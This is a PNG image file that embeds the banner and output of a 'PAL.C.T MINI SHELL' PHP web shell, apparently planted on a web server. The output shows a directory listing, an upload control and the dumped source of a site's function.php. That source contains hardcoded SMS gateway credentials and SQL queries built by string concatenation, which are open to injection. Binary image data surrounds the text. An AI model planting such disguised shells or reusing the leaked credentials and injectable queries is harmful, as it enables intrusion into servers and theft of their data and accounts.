php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/FTFL/mobile/inc/
upload
files >> //var/www/html/FTFL/mobile/inc/function.php

<?php 
	function getRealIpAddr(){
	    if (!empty($_SERVER['HTTP_CLIENT_IP']))   //check ip from share internet
	    {
	      $ip=$_SERVER['HTTP_CLIENT_IP'];
	    }
	    elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))   //to check ip is pass from proxy
	    {
	      $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
	    }
	    else
	    {
	      $ip=$_SERVER['REMOTE_ADDR'];
	    }
	    return $ip;
	}
	$ip = getRealIpAddr();
	
	function alias1($var){
		echo $var = strtolower(str_replace(' ', '-', preg_replace('/[^\p{L}\p{N}\s]/u', '', $var)));  	
	}
	
	function gen_uuid() {
	    return sprintf( '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
	        // 32 bits for "time_low"
	        mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ),

	        // 16 bits for "time_mid"
	        mt_rand( 0, 0xffff ),

	        // 16 bits for "time_hi_and_version",
	        // four most significant bits holds version number 4
	        mt_rand( 0, 0x0fff ) | 0x4000,

	        // 16 bits, 8 bits for "clk_seq_hi_res",
	        // 8 bits for "clk_seq_low",
	        // two most significant bits holds zero and one for variant DCE1.1
	        mt_rand( 0, 0x3fff ) | 0x8000,

	        // 48 bits for "node"
	        mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff )
	    );
	}

	function cext($filename){
	    $block_file_extensions = array(".js",".sh",".shtml",".html",".htm",".php",".php3",".php4",".php5",".phtml",".pl",".py",".jsp",".asp",".cgi");
	    $valid_file_extensions = array(".jpg",".png",".jpeg",".JPG",".PNG",".JPEG",".pdf");
	    $cekext = explode(".",$filename);    
	    $file_extension = strrchr($filename, ".");

	    if(count($cekext) > 2){
	        $flag = 0;
	    }
	    elseif(in_array($file_extension, $block_file_extensions)) {
	        $flag = 0;
	    }
	    elseif(!in_array($file_extension, $valid_file_extensions)) {
	        $flag = 0;
	    }
	    else{
	        $flag = 1;
	    }
	    return $flag;
	}
	function cext2($filename){
	    $ALLOWED_TYPES = array("image/jpeg","image/png");
	    $MIME_TYPE = mime_content_type($filename);


	    if (!in_array($MIME_TYPE, $ALLOWED_TYPES)) {
	        $flag = 0;
	    }
	    else{
	        $flag = 1;
	    }
	    return $flag;
	}
	function kirim_email($email,$subjek,$body){
	    
	    $headers = "MIME-Version: 1.0" . "\r\n";
	    $headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";

	    // More headers
	    $headers .= "From: WEB <admin@website.com>\r\n";
	    mail($email, $subjek, $body, $headers);
	    
	}
	
	function gen_kode($con) {
		$year = date('y');
		$month = date('m');
		$date = date('d');
		$ada='1';
		while ($ada>0) {
			$kode= $year.$month.$date.substr(str_shuffle("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"), -4);
			
			$q = $con->prepare("SELECT * FROM order_receipt_detail WHERE barcode = ?");
			$q->execute(array($kode));
			$ada = $q->rowCount();
		}
		return $kode;
		
	}
	function status($con,$id_status){
      $q = $con->query("SELECT * FROM data_status WHERE id_status = '".$id_status."'");
      $rs= $q->fetch(PDO::FETCH_ASSOC);

      if($_SESSION['bahasa']=='IN'){
        $status = str_replace("<br>"," ",$rs['in_status']);
      }elseif($_SESSION['bahasa']=='EN'){
        $status = str_replace("<br>"," ",$rs['en_status']);
      }elseif($_SESSION['bahasa']=='ZH'){
        $status = str_replace("<br>"," ",$rs['zh_status']);
      }
      return $status;
    }
    function inbox($con,$uuid_klien,$subjek,$message,$owner,$company){
    	$waktu = date('Y-m-d H:i:s');
    	$q = $con->prepare("INSERT INTO inbox SET uuid_klien=?,waktu=?,subjek=?,message=?,baca=?");
    	$q->execute(array($uuid_klien,$waktu,$subjek,$message,0));

    	$q = $con->prepare("SELECT * FROM klien_detail WHERE uuid_klien = ?");
    	$q->execute(array($uuid_klien));
    	$r1 = $q->fetch(PDO::FETCH_ASSOC);

    	$emailperusahaan = $r1['email'];
    	$emailowner = $r1['owner_email'];

    	if($owner == 1){
    		sent_mail($emailowner,$subjek,$message);
    	}
    	if($company == 1){
    		sent_mail($emailperusahaan,$subjek,$message);
    	}

    	
    }
    function colorstatus($con,$id){
    	$q = $con->prepare("SELECT color FROM data_status WHERE id_status = ?");
      	$q->execute(array($id));
      	$r = $q->fetch(PDO::FETCH_ASSOC);
      	return $r['color'];
    }
    function status_en($con,$id_status){
      $q = $con->query("SELECT * FROM data_status WHERE id_status = '".$id_status."'");
      $rs= $q->fetch(PDO::FETCH_ASSOC);

      $status = str_replace("<br>"," ",$rs['en_status']);
      
      return $status;
    }

    function rajaSMS($ponsel,$pesan) {
        $url = 'https://websms.co.id/api/smsgateway?user=suyatmo&pass=kirimkirim88&to='.$ponsel.'&msg='.$pesan;

		$header = array(
		'Accept: application/json',
		);

		$curlHandle = curl_init();
        curl_setopt($curlHandle, CURLOPT_URL,$url);
        curl_setopt($curlHandle, CURLOPT_HEADER, 0);
        curl_setopt($curlHandle, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curlHandle, CURLOPT_TIMEOUT,120);
        $hasil = curl_exec($curlHandle);
        curl_close($curlHandle);

		return $hasil;
    }

?>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`